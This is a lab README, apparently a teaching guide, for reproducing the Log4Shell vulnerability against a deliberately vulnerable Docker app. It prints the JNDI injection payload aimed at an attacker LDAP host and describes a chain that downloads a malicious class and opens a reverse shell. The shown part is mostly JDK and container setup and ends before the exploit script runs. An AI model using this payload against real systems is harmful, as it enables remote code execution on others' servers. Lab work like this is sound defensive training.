Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell (CVE-2021-44228) is one of the most impactful remote code execution vulnerabilities ever disclosed. It affects Apache Log4j 2, a widely used Java logging framework, and allows attackers to execute arbitrary code by abusing JNDI lookups in log messages.
This guide provides a full, reproducible demonstration lab using:
log4j-shell-pocIt is designed for teaching, research, training, and defensive awareness in controlled environments only. The structure and style follow the same spirit as the companion “Shellshock” lab README.
poc.py to Use JDK 1.8.0_202curlThis lab must only be performed in a controlled environment where you have explicit authorisation (your own lab, classroom VMs, etc.).
Log4Shell (CVE-2021-44228) is a critical RCE vulnerability in Apache Log4j 2.
The problem arises because vulnerable Log4j2 versions interpret attacker-controlled strings such as:
${jndi:ldap://ATTACKER_IP:1389/a}
When this string is logged, Log4j:
In this lab, you will:
log4j-shell-poc.curl and via Burp Suite.By the end of this lab, you should be able to:
All components run on top of your existing virtual lab. For this write-up we assume:
| Component | Role / Description | Tools / Services | Example Addressing |
|---|---|---|---|
| Kali Linux VM (Attacker + Host) | Runs PoC exploit, LDAP server, HTTP server, Netcat listener, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (example Kali IP) |
| Vulnerable Log4j2 web application | Target; Spring Boot web app vulnerable to Log4Shell | Docker image: ghcr.io/christophetd/log4shell-vulnerable-app | Exposed at http://127.0.0.1:8080 |
Key idea
The attacker injects:
${jndi:ldap://192.168.1.4:1389/a}
into an HTTP header. The vulnerable app logs it using Log4j2 → performs a JNDI LDAP lookup to 192.168.1.4:1389 → downloads a malicious class from http://192.168.1.4:8000 → executes the class, which opens a reverse shell back to 192.168.1.4:9001.
On Kali you need:
nc).Throughout this guide we assume the Kali IP is:
192.168.1.4
If your IP differs, adjust all commands accordingly.
The PoC relies on Java SE 8 Update 202 (JDK 1.8.0_202) because later Java versions restrict the remote class loading behaviour used by this exploit.
Even if Kali already has OpenJDK 21 (or similar), you still need to install 8u202 separately.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Mirror root:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Download the Linux x64 tarball (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
The --strip-components=1 option removes the top-level directory from the archive so files land directly under /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Expected output:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
If you see this, JDK 1.8.0_202 is correctly installed.
In a new terminal on Kali (you can remain in ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
You should see logs similar to:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ from Kali.Quick sanity-check:
curl http://127.0.0.1:8080/
You may see a Whitelabel Error Page (HTTP 400). That is fine – all we need is the app running and logging requests.
log4j-shell-pocIn a new terminal: